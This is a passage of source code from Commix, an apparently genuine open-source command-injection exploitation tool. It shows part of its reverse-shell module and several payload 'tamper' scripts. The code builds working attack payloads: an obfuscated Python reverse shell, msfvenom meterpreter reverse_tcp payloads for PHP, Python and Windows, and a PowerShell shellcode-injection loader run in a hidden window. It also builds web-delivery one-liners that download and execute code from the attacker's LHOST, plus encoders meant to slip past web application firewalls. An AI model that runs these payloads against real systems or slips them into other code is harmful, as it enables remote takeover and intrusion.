"for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \
"for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \
"for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
"globals(), __import__('contextlib'))"
if not settings.TARGET_OS == settings.OS.WINDOWS:
checks.windows_only_attack_vector()
continue
else:
if not settings.USER_DEFINED_PYTHON_DIR:
checks.set_python_working_dir()
other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
break
# PHP-reverse-shell (meterpreter)
elif other_shell == '9':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
settings.print_data_to_stdout(settings.print_error_msg(error_msg))
continue
payload = "php/meterpreter/reverse_tcp"
output = "php_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" LHOST=" + str(settings.LHOST) +
" LPORT=" + str(settings.LPORT) +
" -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open (output, "r+") as content_file:
data = content_file.readlines()
data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR:
checks.set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -r " + data
else:
other_shell = "php -r \"" + data + "\""
checks.msf_launch_msg(output)
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
break
# Python-reverse-shell (meterpreter)
elif other_shell == '10':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
settings.print_data_to_stdout(settings.print_error_msg(error_msg))
continue
payload = "python/meterpreter/reverse_tcp"
output = "py_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" LHOST=" + str(settings.LHOST) +
" LPORT=" + str(settings.LPORT) +
" -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open (output, "r") as content_file:
data = content_file.readlines()
data = ''.join(data)
#data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode()
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == settings.OS.WINDOWS:
if not settings.USER_DEFINED_PYTHON_DIR:
checks.set_python_working_dir()
other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
else:
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
checks.set_python_interpreter()
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
checks.msf_launch_msg(output)
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
break
# Powershell injection attacks
elif other_shell == '11':
if not settings.TARGET_OS == settings.OS.WINDOWS:
checks.windows_only_attack_vector()
continue
else:
settings.print_data_to_stdout(Style.BRIGHT + """Available powershell injection options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn.""")
while True:
windows_reverse_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """)
if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS):
if checks.shell_options(windows_reverse_shell):
return checks.shell_options(windows_reverse_shell)
elif windows_reverse_shell == '1' :
output = "powershell_attack.rc"
elif windows_reverse_shell == '2' :
output = "powershell_attack.txt"
else:
common.invalid_option(windows_reverse_shell)
continue
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
settings.print_data_to_stdout(settings.print_error_msg(error_msg))
continue
payload = "windows/meterpreter/reverse_tcp"
# Shellcode injection with native x86 shellcode
if windows_reverse_shell == '1':
checks.gen_payload_msg(payload)
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + ">/dev/null 2>&1", shell=True).wait()
with open(output, 'r') as content_file:
repls = {';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', '\\x': ',0x', 'unsignedcharbuf[]=': ''}
shellcode = reduce(lambda a, kv: a.replace(*kv), iter(repls.items()), content_file.read()).rstrip()[1:]
# One line shellcode injection with native x86 shellcode
# Greetz to Dave Kennedy (@HackingDave)
powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode))
other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le'))
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
checks.msf_launch_msg(output)
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
break
# TrustedSec's Magic Unicorn (3rd Party)
elif windows_reverse_shell == '2':
try:
current_path = os.getcwd()
try:
unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn'))
os.chdir(unicorn_path)
# Check for Unicorn version.
with open('unicorn.py') as unicorn_file:
for line in unicorn_file:
line = line.rstrip()
if "Magic Unicorn Attack Vector v" in line:
unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "")
break
except:
unicorn_version = ""
update.check_unicorn_version(unicorn_version)
try:
if len(unicorn_version) == 0:
unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn'))
os.chdir(unicorn_path)
checks.gen_payload_msg(payload)
subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait()
with open(output, 'r') as content_file:
other_shell = content_file.read().replace('\n', '')
other_shell = _urllib.parse.quote_plus(other_shell)
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
# Remove the ouput file
os.remove(output)
with open("unicorn.rc", 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
checks.msf_launch_msg("unicorn.rc")
# Return to the current path.
os.chdir(current_path)
except:
continue
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
break
break
# Web delivery script
elif other_shell == '12':
settings.print_data_to_stdout(Style.BRIGHT + """Available web delivery script options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows).""")
while True:
web_delivery = _input("""commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """)
if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS):
if checks.shell_options(web_delivery):
return checks.shell_options(web_delivery)
elif web_delivery == '1':
payload = "python/meterpreter/reverse_tcp"
elif web_delivery == '2':
payload = "php/meterpreter/reverse_tcp"
elif web_delivery == '3':
payload = "windows/meterpreter/reverse_tcp"
else:
common.invalid_option(web_delivery)
continue
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
settings.print_data_to_stdout(settings.print_error_msg(error_msg))
continue
if 'payload' in locals():
output = "web_delivery.rc"
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/script/web_delivery\n"
"set target " + str(int(web_delivery)-1) + "\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"set srvport " + str(settings.SRVPORT) + "\n"
"set uripath " + settings.URIPATH + "\n"
"exploit\n\n")
if web_delivery == '1':
data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b"
if settings.TARGET_OS == settings.OS.WINDOWS:
if not settings.USER_DEFINED_PYTHON_DIR:
checks.set_python_working_dir()
other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
else:
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
checks.set_python_interpreter()
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
checks.msf_launch_msg(output)
break
elif web_delivery == '2':
if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR:
checks.set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));"
else:
other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));\""
checks.msf_launch_msg(output)
break
elif web_delivery == '3':
if not settings.TARGET_OS == settings.OS.WINDOWS:
checks.windows_only_attack_vector()
continue
else:
other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "');"
checks.msf_launch_msg(output)
break
break
# Check for available shell options
elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS):
if checks.shell_options(other_shell):
return checks.shell_options(other_shell)
# Invalid option
else:
common.invalid_option(other_shell)
continue
return other_shell
"""
Choose type of reverse TCP connection.
"""
def reverse_tcp_options(separator):
settings.print_data_to_stdout(Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells.
""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells.""")
while True:
reverse_tcp_option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """)
if reverse_tcp_option.lower() == "reverse_tcp":
warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
continue
# Option 1 - Netcat shell
elif reverse_tcp_option == '1' :
reverse_tcp_option = netcat_version(separator)
if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS:
checks.shell_success("reverse")
break
elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS:
return reverse_tcp_option
else:
pass
# Option 2 - Other (Netcat-Without-Netcat) shells
elif reverse_tcp_option == '2' :
reverse_tcp_option = other_reverse_shells(separator)
if settings.EVAL_BASED_STATE != False:
reverse_tcp_option = reverse_tcp_option.replace("$","\\$")
if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS:
checks.shell_success("reverse")
break
# Check for available shell options
elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS):
if checks.shell_options(reverse_tcp_option):
return checks.shell_options(reverse_tcp_option)
# Invalid option
else:
common.invalid_option(reverse_tcp_option)
continue
return reverse_tcp_option
"""
Set up the reverse TCP connection
"""
def configure_reverse_tcp(separator):
# Set up LHOST for the reverse TCP connection
while True:
settings.print_data_to_stdout(settings.END_LINE.CR + settings.REVERSE_TCP_SHELL)
option = _input()
if option.lower() == "reverse_tcp":
warn_msg = "You are into the '" + option.lower() + "' mode."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
continue
if option.lower() == "?":
menu.reverse_tcp_options()
continue
if option.lower() == "quit" or option.lower() == "exit":
raise SystemExit()
elif option.lower() == "os_shell" or option.lower() == "back":
settings.REVERSE_TCP = False
break
elif option.lower() == "bind_tcp":
settings.BIND_TCP = True
settings.REVERSE_TCP = False
break
elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0:
break
elif option[0:4].lower() == "set ":
if option[4:10].lower() == "lhost ":
if checks.check_lhost(option[10:]):
if len(settings.LPORT) == 0:
pass
else:
break
else:
continue
elif option[4:10].lower() == "rhost ":
err_msg = "The '" + option[4:9].upper() + "' option, is not "
err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
continue
elif option[4:10].lower() == "lport ":
if checks.check_lport(option[10:]):
if len(settings.LHOST) == 0:
pass
else:
break
else:
continue
elif option[4:12].lower() == "srvport ":
checks.check_srvport(option[12:])
elif option[4:12].lower() == "uripath ":
checks.check_uripath(option[12:])
else:
common.invalid_option(option)
pass
else:
common.invalid_option(option)
pass
# eof commix-4.0/src/core/tamper/ 0000775 0000000 0000000 00000000000 14731205621 0015661 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/tamper/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0017776 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/tamper/backslashes.py 0000664 0000000 0000000 00000002644 14731205621 0020524 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import menu
from src.utils import settings
"""
About: Adds back slashes ("\") between the characters of the generated payloads.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "backslashes"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_back_slashes(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
obf_char = "\\"
payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload)
for word in settings.IGNORE_TAMPER_TRANSFORMATION:
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
if _ in payload:
payload = payload.replace(_,_.replace(obf_char, ""))
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_back_slashes(payload)
else:
return payload
# eof commix-4.0/src/core/tamper/backticks.py 0000664 0000000 0000000 00000001747 14731205621 0020202 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
"""
About: Uses backticks instead of "$()" for commands substitution on the generated payloads.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "backticks"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
settings.USE_BACKTICKS = True
payload = payload.replace("$((", "`expr" + settings.WHITESPACES[0]).replace("))", "`")
return payload
# eof commix-4.0/src/core/tamper/base64encode.py 0000664 0000000 0000000 00000002664 14731205621 0020505 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
import base64
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import settings
"""
About: Base64 all characters in a given payload.
Notes: This tamper script works against all targets.
"""
__tamper__ = "base64encode"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE):
err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'."
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
payload = _urllib.parse.unquote(payload)
payload = base64.b64encode(payload.encode())
payload = payload.decode(settings.DEFAULT_CODEC)
return payload
# eof commix-4.0/src/core/tamper/caret.py 0000664 0000000 0000000 00000003537 14731205621 0017341 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import menu
from src.utils import settings
"""
About: Adds caret symbol (^) between the characters of the generated payloads.
Notes: This tamper script works against windows targets.
"""
__tamper__ = "caret"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_caret_symbol(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if re.compile(r"\w+").findall(payload):
long_string = ""
if len(max(re.compile(r"\w+").findall(payload), key=lambda word: len(word))) >= 5000:
long_string = max(re.compile(r"\w+").findall(payload), key=lambda word: len(word))
rep = {
"^^": "^",
'"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"',
'^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"',
re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^", "")
}
payload = re.sub(r'([b-zD-Z])', r'^\1', payload)
rep = dict((re.escape(k), v) for k, v in rep.items())
pattern = re.compile("|".join(rep.keys()))
payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload)
return payload
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_caret_symbol(payload)
else:
return payload
# eof commix-4.0/src/core/tamper/dollaratsigns.py 0000664 0000000 0000000 00000002633 14731205621 0021105 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
from src.utils import settings
"""
About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "dollaratsigns"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_dollar_at_signs(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
obf_char = "$@"
payload = re.sub(r'([b-zD-Z])', lambda x: obf_char + x[0], payload)
for word in settings.IGNORE_TAMPER_TRANSFORMATION:
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
if _ in payload:
payload = payload.replace(_,_.replace(obf_char, ""))
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_dollar_at_signs(payload)
else:
return payload
# eof commix-4.0/src/core/tamper/doublequotes.py 0000664 0000000 0000000 00000003047 14731205621 0020752 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
from src.utils import settings
"""
About: Adds double quotes (") between the characters of the generated payloads.
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "doublequotes"
if settings.TRANFROM_PAYLOAD != None:
settings.TRANFROM_PAYLOAD = None
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def add_double_quotes(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
obf_char = '""'
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = re.sub(r'([b-zD-Z])', r'""\1', payload)
else:
word = "tokens"
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
payload = payload.replace(word,_)
for word in settings.IGNORE_TAMPER_TRANSFORMATION:
_ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1))
if _ in payload:
payload = payload.replace(_,_.replace(obf_char, ""))
return payload
if settings.EVAL_BASED_STATE != False:
return payload
else:
return add_double_quotes(payload)
# eof commix-4.0/src/core/tamper/hexencode.py 0000664 0000000 0000000 00000002667 14731205621 0020210 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
from src.core.convert import hexencode
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import settings
"""
About: Hex all characters in a given payload.
Notes: This tamper script works against all targets.
"""
__tamper__ = "hexencode"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE):
err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'."
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
payload = _urllib.parse.unquote(payload)
encoded_payload, _ = hexencode(payload)
if _:
payload = encoded_payload
return payload
# eof commix-4.0/src/core/tamper/multiplespaces.py 0000664 0000000 0000000 00000001761 14731205621 0021272 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import random
from src.utils import settings
"""
About: Adds multiple spaces around OS commands
Notes: Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions.
"""
__tamper__ = "multiplespaces"
def tamper(payload):
if not (settings.TAMPER_SCRIPTS[__tamper__]):
settings.TAMPER_SCRIPTS[__tamper__] = True
for i in range(0, len(settings.WHITESPACES)):
settings.WHITESPACES[i] = settings.WHITESPACES[i] * random.randrange(3, 8)
return payload
# eof commix-4.0/src/core/tamper/nested.py 0000664 0000000 0000000 00000003257 14731205621 0017524 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
import random
from src.utils import menu
from src.utils import settings
"""
About: Adds double quotes around of the generated payloads (nested).
Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "nested"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
double_quote = "\""
def tamper(payload):
def nested(payload):
if settings.TARGET_OS != settings.OS.WINDOWS:
settings.TAMPER_SCRIPTS[__tamper__] = True
if not menu.options.prefix and not menu.options.suffix:
payload = double_quote + payload + double_quote
else:
if menu.options.prefix and menu.options.prefix != double_quote:
menu.options.prefix = menu.options.prefix + double_quote
else:
menu.options.prefix = double_quote
if menu.options.suffix and menu.options.suffix != double_quote:
menu.options.suffix = menu.options.suffix + double_quote
else:
menu.options.suffix = double_quote
return payload
if settings.TARGET_OS != settings.OS.WINDOWS:
if settings.EVAL_BASED_STATE != False:
return payload
else:
return nested(payload)
else:
return payload
# eof commix-4.0/src/core/tamper/printf2echo.py 0000664 0000000 0000000 00000002451 14731205621 0020460 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
"""
About: Replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`.
Notes: This tamper script works against Unix-like target(s)
"""
__tamper__ = "printf2echo"
settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
def printf_to_echo(payload):
if "printf" in payload:
payload = payload.replace("str=$(printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$char'\")", "str=$(echo" + settings.WHITESPACES[0] + "-n" + settings.WHITESPACES[0] + "$char" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "od" + settings.WHITESPACES[0] + "-An" + settings.WHITESPACES[0] + "-tuC" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "xargs)")
return payload
return printf_to_echo(payload)
# eof commix-4.0/src/core/tamper/rev.py 0000664 0000000 0000000 00000002701 14731205621 0017027 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
